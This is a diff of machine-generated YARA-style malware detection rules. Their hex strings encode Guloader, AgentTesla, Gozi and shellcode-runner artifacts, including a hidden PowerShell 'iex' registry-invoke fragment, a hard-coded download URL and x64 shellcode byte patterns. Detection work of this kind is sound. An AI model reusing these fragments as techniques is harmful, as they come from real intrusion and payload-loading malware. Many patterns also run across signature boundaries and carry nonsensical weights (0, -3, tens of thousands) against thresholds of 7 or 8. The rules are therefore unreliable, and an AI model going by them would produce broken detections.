meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4b 57 30 31 21 4d 54 42 00 01 00 23 81 01 64 65 73 74 72 75 65 72 69 6e 67 65 6e 5c 73 74 65 67 6e 69 6e 67 65 6e 73 5c 74 72 79 6b 73 61 67 65 6e 01 00 25 81 01 70 73 65 75 64 6f 6c 61 62 69 61 6c } //18467 $a_65_1 = {74 6f 72 72 68 61 70 68 79 5c 61 72 67 79 72 6f 6e 65 74 61 01 00 0c 81 01 70 65 72 6c 65 6b 64 65 2e 64 69 73 01 00 17 81 01 48 61 6c 76 6c 65 67 73 66 72 69 6e 67 65 72 73 32 31 33 2e 66 61 73 01 00 11 81 01 72 76 65 72 68 69 73 74 6f 72 69 65 73 2e 6a 70 67 01 00 0c 81 01 74 6f 6f 74 6c 69 73 68 2e 6a 70 67 01 00 18 81 01 } //28508 - $a_6c_2 = {5c 70 79 6f 70 68 74 68 61 6c 6d 69 74 69 73 2e 69 6e 69 00 00 78 eb 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 4c 30 31 21 4d 54 42 00 01 00 18 81 01 73 74 65 6d 6d 65 6a 65 72 6e 65 6e 65 5c 68 6a 73 6b 6f 6c 65 72 6e 65 01 00 24 81 } //26963 - $a_65_3 = {72 6f 63 72 61 74 69 63 25 5c 67 61 6c 76 61 6e 6f 6d 65 74 65 72 5c 66 72 65 74 74 69 65 73 74 01 00 21 81 01 73 65 6b 73 74 65 6e 61 61 72 73 66 64 73 65 6c 73 64 61 67 65 73 5c 50 61 6d 70 68 6c 65 74 36 33 01 00 1d 81 01 6d 61 72 76 65 6c 6c 65 72 20 6e 61 76 65 72 65 74 20 63 6f 6d 70 6f 74 61 74 69 6f 6e 01 00 0d 81 01 } //9473 - $a_61_4 = {69 6f 6e 61 6c 69 7a 65 01 00 0a 81 01 69 67 6e 6f 62 6c 65 73 73 65 01 00 0e 81 01 67 75 74 74 69 66 65 72 61 6c 2e 65 78 65 00 00 78 eb 00 00 07 00 07 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 54 65 73 6c 61 2e 52 52 41 31 31 31 31 21 4d 54 42 00 01 00 28 01 52 65 65 67 67 73 73 6d 6d 2e 50 } //25956 - $a_65_5 = {74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 19 01 52 65 65 67 67 73 73 6d 6d 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 15 01 52 65 65 67 67 73 73 6d 6d 2e 67 2e 72 65 73 6f 75 72 63 65 73 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 07 01 52 65 70 6c 61 63 65 01 00 0c 01 44 6f 77 } //28530 - $a_61_6 = {44 61 74 61 01 00 09 01 57 65 62 43 6c 69 65 6e 74 05 00 1b 81 01 68 74 74 70 3a 2f 2f 31 37 39 2e 34 33 2e 31 38 37 2e 31 33 31 2f 75 65 79 74 2f 00 00 78 eb 00 00 07 00 07 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 63 2e 52 45 4e 21 4d 54 42 00 01 00 13 03 85 c0 75 07 c6 85 e0 fe ff ff 43 } //27758 + $a_6c_2 = {5c 70 79 6f 70 68 74 68 61 6c 6d 69 74 69 73 2e 69 6e 69 00 00 78 eb 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 56 44 30 31 21 4d 54 42 00 01 00 28 81 01 70 61 73 73 69 62 6c 65 20 6e 6f 6e 63 6f 6e 64 65 73 63 65 6e 64 69 6e 67 6e 65 73 73 } //26963 + $a_6e_3 = {61 65 72 6e 65 73 01 00 18 81 01 61 66 74 65 72 73 68 61 66 74 20 6f 72 61 63 75 6c 61 74 65 2e 65 78 65 01 00 17 81 01 50 72 69 6e 74 65 72 6f 70 73 61 65 74 6e 69 6e 67 39 31 2e 43 61 63 01 00 16 81 01 74 72 6f 76 72 64 69 67 68 65 64 73 6b 6c 66 74 65 6e 2e 69 6e 69 01 00 18 81 01 68 61 6e 64 65 6c 73 72 65 73 74 72 69 6b 74 69 } //25376 + $a_72_4 = {76 69 65 01 00 0f 81 01 75 6e 77 68 69 6d 73 69 63 61 6c 2e 61 6c 71 01 00 0c 81 01 53 69 6c 69 6b 6f 6e 65 2e 74 72 6b 00 00 78 eb 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 4c 30 31 21 4d 54 42 00 01 00 18 81 01 73 74 65 6d 6d 65 6a 65 72 6e 65 } //28271 + $a_68_5 = {73 6b 6f 6c 65 72 6e 65 01 00 24 81 01 25 6d 65 74 72 6f 63 72 61 74 69 63 25 5c 67 61 6c 76 61 6e 6f 6d 65 74 65 72 5c 66 72 65 74 74 69 65 73 74 01 00 21 81 01 73 65 6b 73 74 65 6e 61 61 72 73 66 64 73 65 6c 73 64 61 67 65 73 5c 50 61 6d 70 68 6c 65 74 36 33 01 00 1d 81 01 } //25966 + $a_76_6 = {6c 6c 65 72 20 6e 61 76 65 72 65 74 20 63 6f 6d 70 6f 74 61 74 69 6f 6e 01 00 0d 81 01 64 65 6e 61 74 69 6f 6e 61 6c 69 7a 65 01 00 0a 81 01 69 67 6e 6f 62 6c 65 73 73 65 01 00 0e 81 01 67 75 74 74 69 66 65 72 61 6c 2e 65 78 65 00 00 78 eb 00 00 07 00 07 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 54 65 73 } //24941 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28508+(#a_6c_2 & 1)*26963+(#a_65_3 & 1)*9473+(#a_61_4 & 1)*25956+(#a_65_5 & 1)*28530+(#a_61_6 & 1)*27758) >=7 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28508+(#a_6c_2 & 1)*26963+(#a_6e_3 & 1)*25376+(#a_72_4 & 1)*28271+(#a_68_5 & 1)*25966+(#a_76_6 & 1)*24941) >=7 } -rule _InfrastructureShared_15400{ +rule _InfrastructureShared_16409{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 56 44 30 31 21 4d 54 42 00 01 00 28 81 01 70 61 73 73 69 62 6c 65 20 6e 6f 6e 63 6f 6e 64 65 73 63 65 6e 64 69 6e 67 6e 65 73 73 20 63 6f 6e 67 61 65 72 6e 65 73 01 00 18 81 01 61 66 74 65 72 73 68 } //18467 + $a_20_1 = {72 61 63 75 6c 61 74 65 2e 65 78 65 01 00 17 81 01 50 72 69 6e 74 65 72 6f 70 73 61 65 74 6e 69 6e 67 39 31 2e 43 61 63 01 00 16 81 01 74 72 6f 76 72 64 69 67 68 65 64 73 6b 6c 66 74 65 6e 2e 69 6e 69 01 00 18 81 01 68 61 6e 64 65 6c 73 72 65 73 74 72 69 6b 74 69 6f 6e 65 72 2e 76 69 65 01 00 0f 81 01 75 6e 77 68 69 6d 73 69 63 61 6c 2e 61 6c 71 } //26209 + $a_81_2 = {53 69 6c 69 6b 6f 6e 65 2e 74 72 6b } //1 Silikone.trk + $a_eb_3 = {00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 4c 30 31 21 4d 54 42 00 01 00 18 81 01 73 74 65 6d 6d 65 6a 65 72 6e 65 6e 65 5c 68 6a 73 6b 6f 6c 65 72 6e 65 01 00 24 81 01 25 6d 65 74 72 6f 63 72 61 74 69 63 25 5c 67 61 6c 76 61 6e 6f 6d 65 74 65 72 5c 66 72 65 74 74 69 65 73 74 01 00 21 81 01 73 65 6b 73 74 } //0 + $a_61_4 = {73 66 64 73 65 6c 73 64 61 67 65 73 5c 50 61 6d 70 68 6c 65 74 36 33 01 00 1d 81 01 6d 61 72 76 65 6c 6c 65 72 20 6e 61 76 65 72 65 74 20 63 6f 6d 70 6f 74 61 74 69 6f 6e 01 00 0d 81 01 64 65 6e 61 74 69 6f 6e 61 6c 69 7a 65 01 00 0a 81 01 69 67 6e 6f 62 6c 65 73 73 65 01 00 0e 81 01 67 75 } //28261 + $a_66_5 = {72 61 6c 2e 65 78 65 00 00 78 eb 00 00 07 00 07 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 54 65 73 6c 61 2e 52 52 41 31 31 31 31 21 4d 54 42 00 01 00 28 01 52 65 65 67 67 73 73 6d 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 } //29812 + $a_52_6 = {65 } //6400 e + condition: + ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*26209+(#a_81_2 & 1)*1+(#a_eb_3 & 1)*0+(#a_61_4 & 1)*28261+(#a_66_5 & 1)*29812+(#a_52_6 & 1)*6400) >=7 + +} +rule _InfrastructureShared_16410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -178657,7 +190600,7 @@ rule _InfrastructureShared_15400{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29797+(#a_69_2 & 1)*-32502+(#a_65_3 & 1)*25199+(#a_73_4 & 1)*29230+(#a_62_6 & 1)*22273) >=7 } -rule _InfrastructureShared_15401{ +rule _InfrastructureShared_16411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -178674,7 +190617,7 @@ rule _InfrastructureShared_15401{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*25938+(#a_81_2 & 1)*5+(#a_eb_3 & 1)*0+(#a_00_4 & 1)*2448+(#a_60_5 & 1)*-31997+(#a_01_6 & 1)*29541+(#a_00_7 & 1)*101) >=7 } -rule _InfrastructureShared_15402{ +rule _InfrastructureShared_16412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -178685,12 +190628,13 @@ rule _InfrastructureShared_15402{ $a_00_4 = {68 00 61 00 72 00 65 00 64 00 53 00 65 00 63 00 74 00 69 00 6f 00 6e 00 00 00 78 eb 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6f 7a 69 2e 47 42 21 4d 54 42 00 01 00 3e 80 01 76 65 72 3d 25 75 26 67 72 6f 75 } //105 $a_75_5 = {69 64 3d 25 30 38 78 25 30 38 78 25 30 38 78 25 30 38 78 26 74 79 70 65 3d 25 75 26 75 70 74 69 6d 65 3d 25 75 } //15728 id=%08x%08x%08x%08x&type=%u&uptime=%u $a_6f_6 = {6b 3d 25 75 01 00 07 80 01 68 74 74 70 3a 2f 2f 01 00 0a 80 01 69 6e 64 65 78 2e 68 74 6d 6c 01 00 08 80 01 6e 65 74 20 76 69 65 77 01 00 12 80 01 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 5f 66 69 6c 65 22 01 00 13 80 01 2d 77 69 6e 64 6f 77 73 74 79 6c 65 20 68 69 64 64 65 6e 01 00 16 80 01 69 65 78 20 28 67 70 20 27 48 4b 43 55 3a } //27430 - $a_27_7 = {2e 25 73 01 00 0a 80 01 50 6f 77 65 72 53 68 65 6c 6c 00 00 78 eb 00 00 0a 00 0a 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 6e 76 61 67 65 6e 74 2e 50 53 46 41 21 4d 54 42 00 05 00 37 01 00 02 73 17 00 00 0a 7d 01 00 00 04 02 17 28 18 00 00 0a 00 02 20 20 03 00 00 20 c2 01 00 00 73 19 00 00 0a 28 1a 00 00 0a 00 02 72 } //9564 + $a_27_7 = {2e 25 73 01 00 0a 80 01 50 6f 77 65 72 53 68 65 6c 6c 00 00 78 eb 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 54 30 31 21 4d 54 42 00 01 00 0f 81 01 42 6f 6c 69 67 68 61 6a 32 33 39 2e 73 65 6d 01 00 10 81 01 4b 6f 6e 66 65 73 73 69 6f 6e 65 72 2e 69 6e 69 01 00 14 81 01 41 6c 62 75 6d 69 6e } //9564 + $a_68_8 = {61 32 32 39 2e 69 6e 69 01 00 0f 81 01 62 65 6c 65 61 67 75 65 72 65 72 2e 73 71 75 01 00 19 81 01 65 66 74 65 72 6b 6f 6d 6d 65 6c 73 65 73 66 72 69 73 74 65 72 2e 67 6c 64 01 00 12 81 01 66 61 6e 74 61 73 69 66 6f 72 6c 61 64 74 2e 6a 70 67 01 00 17 81 01 63 6c 69 64 61 73 74 65 73 20 61 6c 66 69 6c 20 72 6f 63 68 65 74 73 01 00 17 81 01 } //29295 condition: - ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*0+(#a_73_2 & 1)*25443+(#a_00_4 & 1)*105+(#a_75_5 & 1)*15728+(#a_6f_6 & 1)*27430+(#a_27_7 & 1)*9564) >=7 + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*0+(#a_73_2 & 1)*25443+(#a_00_4 & 1)*105+(#a_75_5 & 1)*15728+(#a_6f_6 & 1)*27430+(#a_27_7 & 1)*9564+(#a_68_8 & 1)*29295) >=7 } -rule _InfrastructureShared_15403{ +rule _InfrastructureShared_16413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0b 00 21 " @@ -178699,32 +190643,64 @@ rule _InfrastructureShared_15403{ $a_65_1 = {73 01 00 08 01 4e 6f 41 63 63 65 73 73 01 00 0b 01 45 76 65 6e 74 41 63 63 65 73 73 01 00 09 01 49 73 53 75 63 63 65 73 73 01 00 11 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 01 00 0b 01 42 61 73 65 41 64 64 72 65 73 73 01 00 0e 01 53 74 61 6e 64 61 72 64 52 69 67 68 74 73 01 00 08 01 } //25409 $a_69_2 = {61 6d 69 01 00 24 01 41 00 6b 00 61 00 67 00 69 00 53 00 68 00 61 00 72 00 65 00 64 00 53 00 65 00 63 00 74 00 69 00 6f 00 6e 00 00 00 78 eb 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6f 7a 69 2e 47 42 21 4d 54 42 00 01 00 3e 80 01 76 65 72 3d 25 75 26 67 72 6f 75 70 3d 25 75 } //30022 $a_3d_3 = {30 38 78 25 30 38 78 25 30 38 78 25 30 38 78 26 74 79 70 65 3d 25 75 26 75 70 74 69 6d 65 3d 25 75 26 6b 6e 6f 63 6b 3d 25 75 01 00 07 80 01 68 74 74 70 3a 2f 2f 01 00 0a 80 01 69 6e 64 65 78 2e 68 74 6d 6c 01 00 08 80 01 6e 65 74 20 76 69 65 77 01 00 12 80 01 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 5f } //26918 - $a_65_4 = {01 00 13 80 01 2d 77 69 6e 64 6f 77 73 74 79 6c 65 20 68 69 64 64 65 6e 01 00 16 80 01 69 65 78 20 28 67 70 20 27 48 4b 43 55 3a 5c 25 73 27 29 2e 25 73 01 00 0a 80 01 50 6f 77 65 72 53 68 65 6c 6c 00 00 78 eb 00 00 0a 00 0a 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 6e 76 61 67 65 6e 74 2e 50 53 } //26982 - $a_4d_5 = {42 00 05 00 37 01 00 02 73 17 00 00 0a 7d 01 00 00 04 02 17 28 18 00 00 0a 00 02 20 20 03 00 00 20 } //16710 - $a_00_8 = {00 0a 00 02 72 01 00 00 70 6f 1b 00 00 0a 00 2a 01 00 0e 01 44 65 62 75 67 67 } //10250 - $a_4d_9 = {64 65 73 01 00 1d 01 50 6c 61 79 7a 6f 6e 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 0c 01 50 6c 61 79 7a 6f 6e 65 2e 65 78 65 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 25 01 24 63 30 66 33 64 39 61 31 2d 34 37 61 64 2d 34 37 64 30 2d 62 34 62 37 } //28265 - $a_64_10 = {33 66 61 31 34 35 63 35 00 00 78 eb 00 00 0a 00 0a 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 31 30 35 32 32 32 21 4d 54 42 00 05 00 2c 01 33 00 38 00 46 00 34 00 57 00 50 00 39 00 45 00 34 00 48 00 48 00 38 00 35 00 38 00 46 00 41 00 } //25645 + $a_65_4 = {01 00 13 80 01 2d 77 69 6e 64 6f 77 73 74 79 6c 65 20 68 69 64 64 65 6e 01 00 16 80 01 69 65 78 20 28 67 70 20 27 48 4b 43 55 3a 5c 25 73 27 29 2e 25 73 01 00 0a 80 01 50 6f 77 65 72 53 68 65 6c 6c 00 00 78 eb 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 54 30 31 21 4d 54 } //26982 + $a_00_5 = {0f } //66 + $a_6f_6 = {69 67 68 61 6a 32 33 39 2e 73 65 6d 01 00 10 81 01 4b 6f 6e 66 65 73 73 69 6f 6e 65 72 2e 69 6e 69 01 00 14 81 01 41 6c 62 75 6d 69 6e 6f 72 72 68 65 61 32 32 39 2e 69 6e 69 01 00 0f 81 01 62 65 6c } //385 + $a_75_7 = {72 65 72 2e 73 71 75 01 00 19 81 01 65 66 74 65 72 6b 6f 6d 6d 65 6c 73 65 73 66 72 69 73 74 65 72 2e 67 6c 64 01 00 12 81 01 66 61 6e 74 61 73 69 66 6f 72 6c 61 64 74 2e 6a 70 67 01 00 17 81 01 63 6c 69 64 61 73 74 65 73 20 61 6c 66 69 6c 20 72 6f 63 68 65 74 73 01 00 17 81 01 62 6c 73 65 6c 61 6d 70 65 72 } //24933 + $a_61_8 = {61 6c 6f 67 65 72 6e 65 00 00 78 eb 00 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 53 58 43 21 4d 54 42 00 05 00 41 03 41 b9 40 00 00 00 41 b8 00 30 00 00 ff 15 90 01 04 48 8b d8 48 85 c0 74 31 48 8d 55 b8 48 83 7d d0 0f 48 0f 47 55 b8 4c } //8307 + $a_48_9 = {c8 e8 90 01 04 ff d3 33 d2 41 b8 00 80 00 00 48 8b cb 90 00 03 00 36 03 48 89 5c 24 10 55 48 8d ac 24 80 fd ff ff 48 81 ec 80 03 00 00 48 8b 05 90 01 04 48 33 c4 48 89 85 70 02 00 00 48 8b d9 33 d2 41 b8 38 01 00 00 48 8d 4d a0 90 00 02 00 35 03 0f 87 c1 00 00 00 e8 90 01 04 66 0f 6f 05 90 01 04 f3 0f 7f 44 24 68 c6 44 24 58 00 4c 8d 0d 90 01 04 ba 20 00 00 00 41 b8 01 00 00 00 48 8d 4c 24 78 e8 90 00 00 00 78 eb 00 00 0a 00 0a 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 6e 76 61 67 65 6e 74 2e 50 53 46 41 21 4d 54 42 00 05 00 37 01 00 02 73 17 00 00 0a 7d 01 00 00 04 } //17803 + $a_18_10 = {00 0a 00 02 20 20 03 00 00 20 c2 01 00 00 73 19 00 00 0a 28 1a 00 00 0a 00 02 72 01 00 00 70 6f 1b 00 00 0a 00 2a 01 00 } //5890 condition: - ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*25409+(#a_69_2 & 1)*30022+(#a_3d_3 & 1)*26918+(#a_65_4 & 1)*26982+(#a_4d_5 & 1)*16710+(#a_00_8 & 1)*10250+(#a_4d_9 & 1)*28265+(#a_64_10 & 1)*25645) >=7 + ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*25409+(#a_69_2 & 1)*30022+(#a_3d_3 & 1)*26918+(#a_65_4 & 1)*26982+(#a_00_5 & 1)*66+(#a_6f_6 & 1)*385+(#a_75_7 & 1)*24933+(#a_61_8 & 1)*8307+(#a_48_9 & 1)*17803+(#a_18_10 & 1)*5890) >=7 } -rule _InfrastructureShared_15404{ +rule _InfrastructureShared_16414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6f 7a 69 2e 47 42 21 4d 54 42 00 01 00 3e 80 01 76 65 72 3d 25 75 26 67 72 6f 75 70 3d 25 75 26 69 64 3d 25 30 38 78 25 30 38 78 25 30 38 78 25 30 38 78 26 74 79 70 65 3d 25 75 26 75 70 } //16675 $a_65_1 = {25 75 26 6b 6e 6f 63 6b 3d 25 75 01 00 07 80 01 68 74 74 70 3a 2f 2f 01 00 0a 80 01 69 6e 64 65 78 2e 68 74 6d 6c 01 00 08 80 01 6e 65 74 20 76 69 65 77 01 00 12 80 01 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 5f 66 69 6c 65 22 01 00 13 80 01 2d 77 69 6e 64 6f 77 73 74 79 6c 65 20 68 69 64 64 65 6e 01 00 16 80 01 69 65 78 20 28 67 } //26996 - $a_48_2 = {43 55 3a 5c 25 73 27 29 2e 25 73 01 00 0a 80 01 50 6f 77 65 72 53 68 65 6c 6c 00 00 78 eb 00 00 0a 00 0a 00 06 00 21 } //8304 - $a_4c_3 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 6e 76 61 67 65 6e 74 2e 50 53 46 41 21 4d 54 42 00 05 00 37 01 00 02 73 17 00 00 0a 7d 01 00 00 04 02 17 28 18 00 00 0a 00 02 20 20 03 00 00 20 c2 01 00 00 73 19 00 } //21539 - $a_1a_4 = {00 0a 00 02 72 01 00 00 70 6f 1b 00 00 0a 00 2a 01 00 0e 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 1d 01 50 6c } //2560 - $a_6f_5 = {65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 0c 01 50 6c 61 79 7a 6f 6e 65 2e 65 78 65 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 25 01 24 63 30 66 33 64 39 61 31 2d 34 37 61 64 2d 34 37 64 30 2d 62 34 62 37 2d 64 64 64 65 33 66 61 31 34 35 63 35 00 00 78 eb 00 00 0a 00 0a 00 07 00 21 23 48 53 54 52 3a 54 } //31073 - $a_61_6 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 31 30 35 32 32 32 21 4d 54 42 00 05 00 2c 01 33 00 38 00 46 00 34 00 57 00 50 00 39 00 45 00 34 00 48 00 48 00 38 00 35 00 38 00 46 00 41 00 53 00 43 00 4a 00 53 00 42 00 35 00 05 00 2c 01 47 00 54 00 38 00 5a 00 5a 00 35 00 47 00 34 00 38 00 43 00 59 00 34 } //28530 䴺䥓⽌杁湥呴獥慬匮ㅍ〱㈵㈲䴡䉔ԀⰀ㌁㠀䘀㐀圀倀㤀䔀㐀䠀䠀㠀㔀㠀䘀䄀匀䌀䨀匀䈀㔀ԀⰀ䜁吀㠀娀娀㔀䜀㐀㠀䌀夀㐀 + $a_48_2 = {43 55 3a 5c 25 73 27 29 2e 25 73 01 00 0a 80 01 50 6f 77 65 72 53 68 65 6c 6c 00 00 78 eb 00 00 08 00 08 00 08 00 21 } //8304 + $a_54_3 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 54 30 31 21 4d 54 42 00 01 00 0f 81 01 42 6f 6c 69 67 68 61 6a 32 33 39 2e 73 65 6d 01 00 10 81 01 4b 6f 6e 66 65 73 73 69 6f 6e 65 72 2e 69 6e 69 01 00 14 81 01 41 6c 62 75 6d 69 6e 6f 72 72 68 } //18467 + $a_32_4 = {2e 69 6e 69 01 00 0f 81 01 62 65 6c 65 61 67 75 65 72 65 72 2e 73 71 75 01 00 19 81 01 65 66 74 65 72 6b 6f 6d 6d 65 6c 73 65 73 66 72 69 73 74 65 72 } //24933 + $a_64_5 = {00 12 81 01 66 61 6e 74 61 73 69 66 6f 72 6c 61 64 74 2e 6a 70 67 01 00 17 81 01 63 6c 69 64 61 73 74 65 73 20 61 6c 66 69 6c 20 72 6f 63 68 65 74 73 01 00 17 81 01 62 6c 73 65 6c 61 6d 70 65 72 73 20 6b 61 74 61 6c 6f 67 65 72 6e 65 00 00 78 eb 00 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 } //26414 + $a_65_6 = {6c 63 6f 64 65 52 75 6e 6e 65 72 2e 53 58 43 21 4d 54 42 00 05 00 41 03 41 b9 40 00 00 00 41 b8 00 30 00 00 ff 15 90 01 04 48 8b d8 48 85 c0 74 31 48 8d 55 b8 48 83 7d d0 0f 48 0f 47 55 b8 4c 8b 45 c8 48 8b c8 e8 90 01 04 ff d3 33 d2 41 b8 00 80 00 00 48 8b cb 90 00 03 00 36 03 48 89 5c 24 10 55 48 8d ac 24 80 } //21295 + $a_48_7 = {ec 80 03 00 00 48 8b 05 90 01 04 48 33 c4 48 89 85 70 02 00 00 48 8b d9 33 d2 41 b8 38 01 00 00 48 8d 4d a0 90 00 02 00 35 03 0f 87 c1 00 00 00 e8 90 01 04 66 0f 6f 05 90 01 04 f3 0f 7f 44 24 68 c6 44 24 58 00 4c 8d 0d 90 01 04 ba 20 00 00 00 41 b8 01 00 00 00 48 8d 4c 24 78 e8 90 00 00 00 78 eb 00 00 0a 00 0a 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 6e 76 61 67 65 6e 74 2e 50 53 46 41 21 4d 54 42 00 05 00 37 01 00 02 73 17 00 00 0a 7d 01 00 00 04 02 17 28 18 00 00 0a 00 02 20 20 03 00 00 20 c2 01 00 00 73 19 00 00 0a 28 1a 00 00 0a 00 02 72 01 00 00 70 6f 1b 00 00 0a 00 2a 01 00 0e 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 1d 01 50 6c 61 79 7a 6f 6e 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 } //-3 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26996+(#a_48_2 & 1)*8304+(#a_4c_3 & 1)*21539+(#a_1a_4 & 1)*2560+(#a_6f_5 & 1)*31073+(#a_61_6 & 1)*28530) >=8 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26996+(#a_48_2 & 1)*8304+(#a_54_3 & 1)*18467+(#a_32_4 & 1)*24933+(#a_64_5 & 1)*26414+(#a_65_6 & 1)*21295+(#a_48_7 & 1)*-3) >=8 } -rule _InfrastructureShared_15405{ +rule _InfrastructureShared_16415{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 54 30 31 21 4d 54 42 00 01 00 0f 81 01 42 6f 6c 69 67 68 61 6a 32 33 39 2e 73 65 6d 01 00 10 81 01 4b 6f 6e 66 65 73 73 69 6f 6e 65 72 2e 69 6e 69 01 00 14 81 01 41 6c 62 75 6d 69 6e 6f 72 72 68 } //18467 + $a_32_1 = {2e 69 6e 69 01 00 0f 81 01 62 65 6c 65 61 67 75 65 72 65 72 2e 73 71 75 01 00 19 81 01 65 66 74 65 72 6b 6f 6d 6d 65 6c 73 65 73 66 72 69 73 74 65 72 } //24933 + $a_64_2 = {00 12 81 01 66 61 6e 74 61 73 69 66 6f 72 6c 61 64 74 2e 6a 70 67 01 00 17 81 01 63 6c 69 64 61 73 74 65 73 20 61 6c 66 69 6c 20 72 6f 63 68 65 74 73 01 00 17 81 01 62 6c 73 65 6c 61 6d 70 65 72 73 20 6b 61 74 61 6c 6f 67 65 72 6e 65 00 00 78 eb 00 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 } //26414 + $a_65_3 = {6c 63 6f 64 65 52 75 6e 6e 65 72 2e 53 58 43 21 4d 54 42 00 05 00 41 03 41 b9 40 00 00 00 41 b8 00 30 00 00 ff 15 90 01 04 48 8b d8 48 85 c0 74 31 48 8d 55 b8 48 83 7d d0 0f 48 0f 47 55 b8 4c 8b 45 c8 48 8b c8 e8 90 01 04 ff d3 33 d2 41 b8 00 80 00 00 48 8b cb 90 00 03 00 36 03 48 89 5c 24 10 55 48 8d ac 24 80 } //21295 + $a_48_4 = {ec 80 03 00 00 48 8b 05 90 01 04 48 33 c4 48 89 85 70 02 00 00 48 8b d9 33 d2 41 b8 38 01 00 00 48 8d 4d a0 90 00 02 00 